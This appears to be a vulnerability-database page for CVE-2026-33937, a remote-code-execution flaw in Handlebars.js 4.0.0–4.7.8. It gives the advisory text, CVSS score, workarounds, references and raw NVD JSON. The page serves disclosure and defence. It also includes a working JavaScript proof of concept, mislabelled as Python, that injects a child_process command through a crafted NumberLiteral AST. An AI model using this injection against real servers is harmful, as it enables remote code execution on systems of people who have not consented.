CVE-2026-33937

Description

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:* - VULNERABLE

Handlebars.js 4.0.0

Handlebars.js 4.7.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const Handlebars = require("handlebars");

// Construct a malicious AST object exploiting NumberLiteral
const payload = "1;require('child_process').exec('calc.exe');//";

const maliciousAST = {
  type: "Program",
  body: [
    {
      type: "ExpressionStatement",
      expression: {
        type: "NumberLiteral",
        value: payload, // Injected payload without quotes
        original: payload
      }
    }
  ]
};

try {
  // Pass the object directly to compile() (Vulnerable behavior)
  const compiledTemplate = Handlebars.compile(maliciousAST);
  
  // Execute the function to trigger RCE
  compiledTemplate();
  console.log("Exploit executed successfully.");
} catch (e) {
  console.error(e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33937
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33937
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33937/
[4] VulDB https://vuldb.com/cve/CVE-2026-33937
[5] https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2
[6] https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9
[7] https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33937", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:27.417", "lastModified": "2026-03-31T17:49:05.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.7.9", "matchCriteriaId": "A9D1F9A7-8359-4C3F-9932-4A085094F388"}]}]}], "references": [{"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}